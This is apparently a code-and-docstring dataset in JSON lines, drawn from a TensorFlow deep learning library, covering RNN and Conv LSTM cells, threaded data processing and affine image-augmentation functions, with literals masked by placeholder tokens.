{"signature": "def target_mask_op(data, pad_val=<NUM_LIT:0>):  ", "body": "data_shape_size = data.get_shape().ndims<EOL>if data_shape_size == <NUM_LIT:3>:<EOL><INDENT>return tf.cast(tf.reduce_any(tf.not_equal(data, pad_val), axis=<NUM_LIT:2>), dtype=tf.int32)<EOL><DEDENT>elif data_shape_size == <NUM_LIT:2>:<EOL><INDENT>return tf.cast(tf.not_equal(data, pad_val), dtype=tf.int32)<EOL><DEDENT>elif data_shape_size == <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (data_shape_size))<EOL><DEDENT>", "docstring": "Return tensor for mask, if input is ``tf.string``.", "id": "f11199:m5"}
{"signature": "def __call__(self, inputs, state, scope=None):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Run this RNN cell on inputs, starting from the given state.", "id": "f11199:c2:m0"}
{"signature": "@property<EOL><INDENT>def state_size(self):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "size(s) of state(s) used by this cell.", "id": "f11199:c2:m1"}
{"signature": "@property<EOL><INDENT>def output_size(self):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Integer or TensorShape: size of outputs produced by this cell.", "id": "f11199:c2:m2"}
{"signature": "def zero_state(self, batch_size, dtype=LayersConfig.tf_dtype):", "body": "shape = self.shape<EOL>num_features = self.num_features<EOL>zeros = tf.zeros([batch_size, shape[<NUM_LIT:0>], shape[<NUM_LIT:1>], num_features * <NUM_LIT:2>], dtype=dtype)<EOL>return zeros<EOL>", "docstring": "Return zero-filled state tensor(s).\n        Args:\n          batch_size: int, float, or unit Tensor representing the batch size.\n        Returns:\n          tensor of shape '[batch_size x shape[0] x shape[1] x num_features]\n          filled with zeros", "id": "f11199:c2:m3"}
{"signature": "def __init__(<EOL>self, shape, filter_size, num_features, forget_bias=<NUM_LIT:1.0>, input_size=None, state_is_tuple=False,<EOL>act=tf.nn.tanh<EOL>):", "body": "<EOL>if input_size is not None:<EOL><INDENT>logging.warn(\"<STR_LIT>\", self)<EOL><DEDENT>self.shape = shape<EOL>self.filter_size = filter_size<EOL>self.num_features = num_features<EOL>self._forget_bias = forget_bias<EOL>self._state_is_tuple = state_is_tuple<EOL>self._activation = act<EOL>", "docstring": "Initialize the basic Conv LSTM cell.", "id": "f11199:c3:m0"}
{"signature": "@property<EOL><INDENT>def state_size(self):<DEDENT>", "body": "return (LSTMStateTuple(self._num_units, self._num_units) if self._state_is_tuple else <NUM_LIT:2> * self._num_units)<EOL>", "docstring": "State size of the LSTMStateTuple.", "id": "f11199:c3:m1"}
{"signature": "@property<EOL><INDENT>def output_size(self):<DEDENT>", "body": "return self._num_units<EOL>", "docstring": "Number of units in outputs.", "id": "f11199:c3:m2"}
{"signature": "def __call__(self, inputs, state, scope=None):", "body": "with tf.variable_scope(scope or type(self).__name__):  <EOL><INDENT>if self._state_is_tuple:<EOL><INDENT>c, h = state<EOL><DEDENT>else:<EOL><INDENT>c, h = tf.split(state, <NUM_LIT:2>, <NUM_LIT:3>)<EOL><DEDENT>concat = _conv_linear([inputs, h], self.filter_size, self.num_features * <NUM_LIT:4>, True)<EOL>i, j, f, o = tf.split(concat, <NUM_LIT:4>, <NUM_LIT:3>)<EOL>new_c = (c * tf.nn.sigmoid(f + self._forget_bias) + tf.nn.sigmoid(i) * self._activation(j))<EOL>new_h = self._activation(new_c) * tf.nn.sigmoid(o)<EOL>if self._state_is_tuple:<EOL><INDENT>new_state = LSTMStateTuple(new_c, new_h)<EOL><DEDENT>else:<EOL><INDENT>new_state = tf.concat([new_c, new_h], <NUM_LIT:3>)<EOL><DEDENT>return new_h, new_state<EOL><DEDENT>", "docstring": "Long short-term memory cell (LSTM).", "id": "f11199:c3:m3"}
{"signature": "def threading_data(data=None, fn=None, thread_count=None, **kwargs):", "body": "def apply_fn(results, i, data, kwargs):<EOL><INDENT>results[i] = fn(data, **kwargs)<EOL><DEDENT>if thread_count is None:<EOL><INDENT>results = [None] * len(data)<EOL>threads = []<EOL>for i, d in enumerate(data):<EOL><INDENT>t = threading.Thread(name='<STR_LIT>', target=apply_fn, args=(results, i, d, kwargs))<EOL>t.start()<EOL>threads.append(t)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>divs = np.linspace(<NUM_LIT:0>, len(data), thread_count + <NUM_LIT:1>)<EOL>divs = np.round(divs).astype(int)<EOL>results = [None] * thread_count<EOL>threads = []<EOL>for i in range(thread_count):<EOL><INDENT>t = threading.Thread(<EOL>name='<STR_LIT>', target=apply_fn, args=(results, i, data[divs[i]:divs[i + <NUM_LIT:1>]], kwargs)<EOL>)<EOL>t.start()<EOL>threads.append(t)<EOL><DEDENT><DEDENT>for t in threads:<EOL><INDENT>t.join()<EOL><DEDENT>if thread_count is None:<EOL><INDENT>try:<EOL><INDENT>return np.asarray(results)<EOL><DEDENT>except Exception:<EOL><INDENT>return results<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return np.concatenate(results)<EOL><DEDENT>", "docstring": "Process a batch of data by given function by threading.\n\n    Usually be used for data augmentation.\n\n    Parameters\n    -----------\n    data : numpy.array or others\n        The data to be processed.\n    thread_count : int\n        The number of threads to use.\n    fn : function\n        The function for data processing.\n    more args : the args for `fn`\n        Ssee Examples below.\n\n    Examples\n    --------\n    Process images.\n\n    >>> images, _, _, _ = tl.files.load_cifar10_dataset(shape=(-1, 32, 32, 3))\n    >>> images = tl.prepro.threading_data(images[0:32], tl.prepro.zoom, zoom_range=[0.5, 1])\n\n    Customized image preprocessing function.\n\n    >>> def distort_img(x):\n    >>>     x = tl.prepro.flip_axis(x, axis=0, is_random=True)\n    >>>     x = tl.prepro.flip_axis(x, axis=1, is_random=True)\n    >>>     x = tl.prepro.crop(x, 100, 100, is_random=True)\n    >>>     return x\n    >>> images = tl.prepro.threading_data(images, distort_img)\n\n    Process images and masks together (Usually be used for image segmentation).\n\n    >>> X, Y --> [batch_size, row, col, 1]\n    >>> data = tl.prepro.threading_data([_ for _ in zip(X, Y)], tl.prepro.zoom_multi, zoom_range=[0.5, 1], is_random=True)\n    data --> [batch_size, 2, row, col, 1]\n    >>> X_, Y_ = data.transpose((1,0,2,3,4))\n    X_, Y_ --> [batch_size, row, col, 1]\n    >>> tl.vis.save_image(X_, 'images.png')\n    >>> tl.vis.save_image(Y_, 'masks.png')\n\n    Process images and masks together by using ``thread_count``.\n\n    >>> X, Y --> [batch_size, row, col, 1]\n    >>> data = tl.prepro.threading_data(X, tl.prepro.zoom_multi, 8, zoom_range=[0.5, 1], is_random=True)\n    data --> [batch_size, 2, row, col, 1]\n    >>> X_, Y_ = data.transpose((1,0,2,3,4))\n    X_, Y_ --> [batch_size, row, col, 1]\n    >>> tl.vis.save_image(X_, 'after.png')\n    >>> tl.vis.save_image(Y_, 'before.png')\n\n    Customized function for processing images and masks together.\n\n    >>> def distort_img(data):\n    >>>    x, y = data\n    >>>    x, y = tl.prepro.flip_axis_multi([x, y], axis=0, is_random=True)\n    >>>    x, y = tl.prepro.flip_axis_multi([x, y], axis=1, is_random=True)\n    >>>    x, y = tl.prepro.crop_multi([x, y], 100, 100, is_random=True)\n    >>>    return x, y\n\n    >>> X, Y --> [batch_size, row, col, channel]\n    >>> data = tl.prepro.threading_data([_ for _ in zip(X, Y)], distort_img)\n    >>> X_, Y_ = data.transpose((1,0,2,3,4))\n\n    Returns\n    -------\n    list or numpyarray\n        The processed results.\n\n    References\n    ----------\n    - `python queue <https://pymotw.com/2/Queue/index.html#module-Queue>`__\n    - `run with limited queue <http://effbot.org/librarybook/queue.htm>`__", "id": "f11202:m0"}
{"signature": "def affine_rotation_matrix(angle=(-<NUM_LIT:20>, <NUM_LIT:20>)):", "body": "if isinstance(angle, tuple):<EOL><INDENT>theta = np.pi / <NUM_LIT> * np.random.uniform(angle[<NUM_LIT:0>], angle[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>theta = np.pi / <NUM_LIT> * angle<EOL><DEDENT>rotation_matrix = np.array([[np.cos(theta), np.sin(theta), <NUM_LIT:0>],[-np.sin(theta), np.cos(theta), <NUM_LIT:0>],[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>return rotation_matrix<EOL>", "docstring": "Create an affine transform matrix for image rotation.\n    NOTE: In OpenCV, x is width and y is height.\n\n    Parameters\n    -----------\n    angle : int/float or tuple of two int/float\n        Degree to rotate, usually -180 ~ 180.\n            - int/float, a fixed angle.\n            - tuple of 2 floats/ints, randomly sample a value as the angle between these 2 values.\n\n    Returns\n    -------\n    numpy.array\n        An affine transform matrix.", "id": "f11202:m1"}
{"signature": "def affine_horizontal_flip_matrix(prob=<NUM_LIT:0.5>):", "body": "factor = np.random.uniform(<NUM_LIT:0>, <NUM_LIT:1>)<EOL>if prob >= factor:<EOL><INDENT>filp_matrix = np.array([[ -<NUM_LIT:1.> , <NUM_LIT:0.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, <NUM_LIT:1.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, <NUM_LIT:0.>, <NUM_LIT:1.> ]])<EOL>return filp_matrix<EOL><DEDENT>else:<EOL><INDENT>filp_matrix = np.array([[ <NUM_LIT:1.> , <NUM_LIT:0.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, <NUM_LIT:1.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, <NUM_LIT:0.>, <NUM_LIT:1.> ]])<EOL>return filp_matrix<EOL><DEDENT>", "docstring": "Create an affine transformation matrix for image horizontal flipping.\n    NOTE: In OpenCV, x is width and y is height.\n\n    Parameters\n    ----------\n    prob : float\n        Probability to flip the image. 1.0 means always flip.\n\n    Returns\n    -------\n    numpy.array\n        An affine transform matrix.", "id": "f11202:m2"}
{"signature": "def affine_vertical_flip_matrix(prob=<NUM_LIT:0.5>):", "body": "factor = np.random.uniform(<NUM_LIT:0>, <NUM_LIT:1>)<EOL>if prob >= factor:<EOL><INDENT>filp_matrix = np.array([[ <NUM_LIT:1.> , <NUM_LIT:0.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, -<NUM_LIT:1.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, <NUM_LIT:0.>, <NUM_LIT:1.> ]])<EOL>return filp_matrix<EOL><DEDENT>else:<EOL><INDENT>filp_matrix = np.array([[ <NUM_LIT:1.> , <NUM_LIT:0.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, <NUM_LIT:1.>, <NUM_LIT:0.> ],[ <NUM_LIT:0.>, <NUM_LIT:0.>, <NUM_LIT:1.> ]])<EOL>return filp_matrix<EOL><DEDENT>", "docstring": "Create an affine transformation for image vertical flipping.\n    NOTE: In OpenCV, x is width and y is height.\n\n    Parameters\n    ----------\n    prob : float\n        Probability to flip the image. 1.0 means always flip.\n\n    Returns\n    -------\n    numpy.array\n        An affine transform matrix.", "id": "f11202:m3"}
{"signature": "def affine_shift_matrix(wrg=(-<NUM_LIT:0.1>, <NUM_LIT:0.1>), hrg=(-<NUM_LIT:0.1>, <NUM_LIT:0.1>), w=<NUM_LIT:200>, h=<NUM_LIT:200>):", "body": "if isinstance(wrg, tuple):<EOL><INDENT>tx = np.random.uniform(wrg[<NUM_LIT:0>], wrg[<NUM_LIT:1>]) * w<EOL><DEDENT>else:<EOL><INDENT>tx = wrg * w<EOL><DEDENT>if isinstance(hrg, tuple):<EOL><INDENT>ty = np.random.uniform(hrg[<NUM_LIT:0>], hrg[<NUM_LIT:1>]) * h<EOL><DEDENT>else:<EOL><INDENT>ty = hrg * h<EOL><DEDENT>shift_matrix = np.array([[<NUM_LIT:1>, <NUM_LIT:0>, tx],[<NUM_LIT:0>, <NUM_LIT:1>, ty],[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>return shift_matrix<EOL>", "docstring": "Create an affine transform matrix for image shifting.\n    NOTE: In OpenCV, x is width and y is height.\n\n    Parameters\n    -----------\n    wrg : float or tuple of floats\n        Range to shift on width axis, -1 ~ 1.\n            - float, a fixed distance.\n            - tuple of 2 floats, randomly sample a value as the distance between these 2 values.\n    hrg : float or tuple of floats\n        Range to shift on height axis, -1 ~ 1.\n            - float, a fixed distance.\n            - tuple of 2 floats, randomly sample a value as the distance between these 2 values.\n    w, h : int\n        The width and height of the image.\n\n    Returns\n    -------\n    numpy.array\n        An affine transform matrix.", "id": "f11202:m4"}
{"signature": "def affine_shear_matrix(x_shear=(-<NUM_LIT:0.1>, <NUM_LIT:0.1>), y_shear=(-<NUM_LIT:0.1>, <NUM_LIT:0.1>)):", "body": "<EOL>if isinstance(x_shear, tuple):<EOL><INDENT>x_shear = np.random.uniform(x_shear[<NUM_LIT:0>], x_shear[<NUM_LIT:1>])<EOL><DEDENT>if isinstance(y_shear, tuple):<EOL><INDENT>y_shear = np.random.uniform(y_shear[<NUM_LIT:0>], y_shear[<NUM_LIT:1>])<EOL><DEDENT>shear_matrix = np.array([[<NUM_LIT:1>, x_shear, <NUM_LIT:0>],[y_shear, <NUM_LIT:1>, <NUM_LIT:0>],[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>return shear_matrix<EOL>", "docstring": "Create affine transform matrix for image shearing.\n    NOTE: In OpenCV, x is width and y is height.\n\n    Parameters\n    -----------\n    shear : tuple of two floats\n        Percentage of shears for width and height directions.\n\n    Returns\n    -------\n    numpy.array\n        An affine transform matrix.", "id": "f11202:m5"}
{"signature": "def affine_zoom_matrix(zoom_range=(<NUM_LIT>, <NUM_LIT>)):", "body": "if isinstance(zoom_range, (float, int)):<EOL><INDENT>scale = zoom_range<EOL><DEDENT>elif isinstance(zoom_range, tuple):<EOL><INDENT>scale = np.random.uniform(zoom_range[<NUM_LIT:0>], zoom_range[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>zoom_matrix = np.array([[scale, <NUM_LIT:0>, <NUM_LIT:0>],[<NUM_LIT:0>, scale, <NUM_LIT:0>],[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>return zoom_matrix<EOL>", "docstring": "Create an affine transform matrix for zooming/scaling an image's height and width.\n    OpenCV format, x is width.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    zoom_range : float or tuple of 2 floats\n        The zooming/scaling ratio, greater than 1 means larger.\n            - float, a fixed ratio.\n            - tuple of 2 floats, randomly sample a value as the ratio between these 2 values.\n\n    Returns\n    -------\n    numpy.array\n        An affine transform matrix.", "id": "f11202:m6"}
{"signature": "def affine_respective_zoom_matrix(w_range=<NUM_LIT>, h_range=<NUM_LIT>):", "body": "if isinstance(h_range, (float, int)):<EOL><INDENT>zy = h_range<EOL><DEDENT>elif isinstance(h_range, tuple):<EOL><INDENT>zy = np.random.uniform(h_range[<NUM_LIT:0>], h_range[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(w_range, (float, int)):<EOL><INDENT>zx = w_range<EOL><DEDENT>elif isinstance(w_range, tuple):<EOL><INDENT>zx = np.random.uniform(w_range[<NUM_LIT:0>], w_range[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>zoom_matrix = np.array([[zx, <NUM_LIT:0>, <NUM_LIT:0>],[<NUM_LIT:0>, zy, <NUM_LIT:0>],[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>return zoom_matrix<EOL>", "docstring": "Get affine transform matrix for zooming/scaling that height and width are changed independently.\n    OpenCV format, x is width.\n\n    Parameters\n    -----------\n    w_range : float or tuple of 2 floats\n        The zooming/scaling ratio of width, greater than 1 means larger.\n            - float, a fixed ratio.\n            - tuple of 2 floats, randomly sample a value as the ratio between 2 values.\n    h_range : float or tuple of 2 floats\n        The zooming/scaling ratio of height, greater than 1 means larger.\n            - float, a fixed ratio.\n            - tuple of 2 floats, randomly sample a value as the ratio between 2 values.\n\n    Returns\n    -------\n    numpy.array\n        An affine transform matrix.", "id": "f11202:m7"}
{"signature": "def transform_matrix_offset_center(matrix, y, x):", "body": "o_x = (x - <NUM_LIT:1>) / <NUM_LIT><EOL>o_y = (y - <NUM_LIT:1>) / <NUM_LIT><EOL>offset_matrix = np.array([[<NUM_LIT:1>, <NUM_LIT:0>, o_x], [<NUM_LIT:0>, <NUM_LIT:1>, o_y], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>reset_matrix = np.array([[<NUM_LIT:1>, <NUM_LIT:0>, -o_x], [<NUM_LIT:0>, <NUM_LIT:1>, -o_y], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>transform_matrix = np.dot(np.dot(offset_matrix, matrix), reset_matrix)<EOL>return transform_matrix<EOL>", "docstring": "Convert the matrix from Cartesian coordinates (the origin in the middle of image) to Image coordinates (the origin on the top-left of image).\n\n    Parameters\n    ----------\n    matrix : numpy.array\n        Transform matrix.\n    x and y : 2 int\n        Size of image.\n\n    Returns\n    -------\n    numpy.array\n        The transform matrix.\n\n    Examples\n    --------\n    - See ``tl.prepro.rotation``, ``tl.prepro.shear``, ``tl.prepro.zoom``.", "id": "f11202:m8"}
{"signature": "def affine_transform(x, transform_matrix, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>, order=<NUM_LIT:1>):", "body": "<EOL>x = np.rollaxis(x, channel_index, <NUM_LIT:0>)<EOL>final_affine_matrix = transform_matrix[:<NUM_LIT:2>, :<NUM_LIT:2>]<EOL>final_offset = transform_matrix[:<NUM_LIT:2>, <NUM_LIT:2>]<EOL>channel_images = [<EOL>ndi.interpolation.<EOL>affine_transform(x_channel, final_affine_matrix, final_offset, order=order, mode=fill_mode, cval=cval)<EOL>for x_channel in x<EOL>]<EOL>x = np.stack(channel_images, axis=<NUM_LIT:0>)<EOL>x = np.rollaxis(x, <NUM_LIT:0>, channel_index + <NUM_LIT:1>)<EOL>return x<EOL>", "docstring": "Return transformed images by given an affine matrix in Scipy format (x is height).\n\n    Parameters\n    ----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    transform_matrix : numpy.array\n        Transform matrix (offset center), can be generated by ``transform_matrix_offset_center``\n    channel_index : int\n        Index of channel, default 2.\n    fill_mode : str\n        Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n    cval : float\n        Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0\n    order : int\n        The order of interpolation. The order has to be in the range 0-5:\n            - 0 Nearest-neighbor\n            - 1 Bi-linear (default)\n            - 2 Bi-quadratic\n            - 3 Bi-cubic\n            - 4 Bi-quartic\n            - 5 Bi-quintic\n            - `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    --------\n    >>> M_shear = tl.prepro.affine_shear_matrix(intensity=0.2, is_random=False)\n    >>> M_zoom = tl.prepro.affine_zoom_matrix(zoom_range=0.8)\n    >>> M_combined = M_shear.dot(M_zoom)\n    >>> transform_matrix = tl.prepro.transform_matrix_offset_center(M_combined, h, w)\n    >>> result = tl.prepro.affine_transform(image, transform_matrix)", "id": "f11202:m9"}
{"signature": "def affine_transform_cv2(x, transform_matrix, flags=None, border_mode='<STR_LIT>'):", "body": "rows, cols = x.shape[<NUM_LIT:0>], x.shape[<NUM_LIT:1>]<EOL>if flags is None:<EOL><INDENT>flags = cv2.INTER_AREA<EOL><DEDENT>if border_mode is '<STR_LIT>':<EOL><INDENT>border_mode = cv2.BORDER_CONSTANT<EOL><DEDENT>elif border_mode is '<STR_LIT>':<EOL><INDENT>border_mode = cv2.BORDER_REPLICATE<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>return cv2.warpAffine(x, transform_matrix[<NUM_LIT:0>:<NUM_LIT:2>,:],(cols,rows), flags=flags, borderMode=border_mode)<EOL>", "docstring": "Return transformed images by given an affine matrix in OpenCV format (x is width). (Powered by OpenCV2, faster than ``tl.prepro.affine_transform``)\n\n    Parameters\n    ----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    transform_matrix : numpy.array\n        A transform matrix, OpenCV format.\n    border_mode : str\n        - `constant`, pad the image with a constant value (i.e. black or 0)\n        - `replicate`, the row or column at the very edge of the original is replicated to the extra border.\n\n    Examples\n    --------\n    >>> M_shear = tl.prepro.affine_shear_matrix(intensity=0.2, is_random=False)\n    >>> M_zoom = tl.prepro.affine_zoom_matrix(zoom_range=0.8)\n    >>> M_combined = M_shear.dot(M_zoom)\n    >>> result = tl.prepro.affine_transform_cv2(image, M_combined)", "id": "f11202:m10"}
{"signature": "def affine_transform_keypoints(coords_list, transform_matrix):", "body": "coords_result_list = []<EOL>for coords in coords_list:<EOL><INDENT>coords = np.asarray(coords)<EOL>coords = coords.transpose([<NUM_LIT:1>, <NUM_LIT:0>])<EOL>coords = np.insert(coords, <NUM_LIT:2>, <NUM_LIT:1>, axis=<NUM_LIT:0>)<EOL>coords_result = np.matmul(transform_matrix, coords)<EOL>coords_result = coords_result[<NUM_LIT:0>:<NUM_LIT:2>, :].transpose([<NUM_LIT:1>, <NUM_LIT:0>])<EOL>coords_result_list.append(coords_result)<EOL><DEDENT>return coords_result_list<EOL>", "docstring": "Transform keypoint coordinates according to a given affine transform matrix.\n    OpenCV format, x is width.\n\n    Note that, for pose estimation task, flipping requires maintaining the left and right body information.\n    We should not flip the left and right body, so please use ``tl.prepro.keypoint_random_flip``.\n\n    Parameters\n    -----------\n    coords_list : list of list of tuple/list\n        The coordinates\n        e.g., the keypoint coordinates of every person in an image.\n    transform_matrix : numpy.array\n        Transform matrix, OpenCV format.\n\n    Examples\n    ---------\n    >>> # 1. get all affine transform matrices\n    >>> M_rotate = tl.prepro.affine_rotation_matrix(angle=20)\n    >>> M_flip = tl.prepro.affine_horizontal_flip_matrix(prob=1)\n    >>> # 2. combine all affine transform matrices to one matrix\n    >>> M_combined = dot(M_flip).dot(M_rotate)\n    >>> # 3. transfrom the matrix from Cartesian coordinate (the origin in the middle of image)\n    >>> # to Image coordinate (the origin on the top-left of image)\n    >>> transform_matrix = tl.prepro.transform_matrix_offset_center(M_combined, x=w, y=h)\n    >>> # 4. then we can transfrom the image once for all transformations\n    >>> result = tl.prepro.affine_transform_cv2(image, transform_matrix)  # 76 times faster\n    >>> # 5. transform keypoint coordinates\n    >>> coords = [[(50, 100), (100, 100), (100, 50), (200, 200)], [(250, 50), (200, 50), (200, 100)]]\n    >>> coords_result = tl.prepro.affine_transform_keypoints(coords, transform_matrix)", "id": "f11202:m11"}
{"signature": "def projective_transform_by_points(<EOL>x, src, dst, map_args=None, output_shape=None, order=<NUM_LIT:1>, mode='<STR_LIT>', cval=<NUM_LIT:0.0>, clip=True,<EOL>preserve_range=False<EOL>):", "body": "if map_args is None:<EOL><INDENT>map_args = {}<EOL><DEDENT>if isinstance(src, list):  <EOL><INDENT>src = np.array(src)<EOL><DEDENT>if isinstance(dst, list):<EOL><INDENT>dst = np.array(dst)<EOL><DEDENT>if np.max(x) > <NUM_LIT:1>:  <EOL><INDENT>x = x / <NUM_LIT:255><EOL><DEDENT>m = transform.ProjectiveTransform()<EOL>m.estimate(dst, src)<EOL>warped = transform.warp(<EOL>x, m, map_args=map_args, output_shape=output_shape, order=order, mode=mode, cval=cval, clip=clip,<EOL>preserve_range=preserve_range<EOL>)<EOL>return warped<EOL>", "docstring": "Projective transform by given coordinates, usually 4 coordinates.\n\n    see `scikit-image <http://scikit-image.org/docs/dev/auto_examples/applications/plot_geometric.html>`__.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    src : list or numpy\n        The original coordinates, usually 4 coordinates of (width, height).\n    dst : list or numpy\n        The coordinates after transformation, the number of coordinates is the same with src.\n    map_args : dictionary or None\n        Keyword arguments passed to inverse map.\n    output_shape : tuple of 2 int\n        Shape of the output image generated. By default the shape of the input image is preserved. Note that, even for multi-band images, only rows and columns need to be specified.\n    order : int\n        The order of interpolation. The order has to be in the range 0-5:\n            - 0 Nearest-neighbor\n            - 1 Bi-linear (default)\n            - 2 Bi-quadratic\n            - 3 Bi-cubic\n            - 4 Bi-quartic\n            - 5 Bi-quintic\n    mode : str\n        One of `constant` (default), `edge`, `symmetric`, `reflect` or `wrap`.\n        Points outside the boundaries of the input are filled according to the given mode. Modes match the behaviour of numpy.pad.\n    cval : float\n        Used in conjunction with mode `constant`, the value outside the image boundaries.\n    clip : boolean\n        Whether to clip the output to the range of values of the input image. This is enabled by default, since higher order interpolation may produce values outside the given input range.\n    preserve_range : boolean\n        Whether to keep the original range of values. Otherwise, the input image is converted according to the conventions of img_as_float.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    --------\n    Assume X is an image from CIFAR-10, i.e. shape == (32, 32, 3)\n\n    >>> src = [[0,0],[0,32],[32,0],[32,32]]     # [w, h]\n    >>> dst = [[10,10],[0,32],[32,0],[32,32]]\n    >>> x = tl.prepro.projective_transform_by_points(X, src, dst)\n\n    References\n    -----------\n    - `scikit-image : geometric transformations <http://scikit-image.org/docs/dev/auto_examples/applications/plot_geometric.html>`__\n    - `scikit-image : examples <http://scikit-image.org/docs/dev/auto_examples/index.html>`__", "id": "f11202:m12"}
{"signature": "def rotation(<EOL>x, rg=<NUM_LIT:20>, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>, order=<NUM_LIT:1><EOL>):", "body": "if is_random:<EOL><INDENT>theta = np.pi / <NUM_LIT> * np.random.uniform(-rg, rg)<EOL><DEDENT>else:<EOL><INDENT>theta = np.pi / <NUM_LIT> * rg<EOL><DEDENT>rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), <NUM_LIT:0>], [np.sin(theta), np.cos(theta), <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>h, w = x.shape[row_index], x.shape[col_index]<EOL>transform_matrix = transform_matrix_offset_center(rotation_matrix, h, w)<EOL>x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order)<EOL>return x<EOL>", "docstring": "Rotate an image randomly or non-randomly.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    rg : int or float\n        Degree to rotate, usually 0 ~ 180.\n    is_random : boolean\n        If True, randomly rotate. Default is False\n    row_index col_index and channel_index : int\n        Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0).\n    fill_mode : str\n        Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n    cval : float\n        Value used for points outside the boundaries of the input if mode=`constant`. Default is 0.0\n    order : int\n        The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    ---------\n    >>> x --> [row, col, 1]\n    >>> x = tl.prepro.rotation(x, rg=40, is_random=False)\n    >>> tl.vis.save_image(x, 'im.png')", "id": "f11202:m13"}
{"signature": "def rotation_multi(<EOL>x, rg=<NUM_LIT:20>, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>, order=<NUM_LIT:1><EOL>):", "body": "if is_random:<EOL><INDENT>theta = np.pi / <NUM_LIT> * np.random.uniform(-rg, rg)<EOL><DEDENT>else:<EOL><INDENT>theta = np.pi / <NUM_LIT> * rg<EOL><DEDENT>rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), <NUM_LIT:0>], [np.sin(theta), np.cos(theta), <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>h, w = x[<NUM_LIT:0>].shape[row_index], x[<NUM_LIT:0>].shape[col_index]<EOL>transform_matrix = transform_matrix_offset_center(rotation_matrix, h, w)<EOL>results = []<EOL>for data in x:<EOL><INDENT>results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order))<EOL><DEDENT>return np.asarray(results)<EOL>", "docstring": "Rotate multiple images with the same arguments, randomly or non-randomly.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.rotation``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.\n\n    Examples\n    --------\n    >>> x, y --> [row, col, 1]  greyscale\n    >>> x, y = tl.prepro.rotation_multi([x, y], rg=90, is_random=False)", "id": "f11202:m14"}
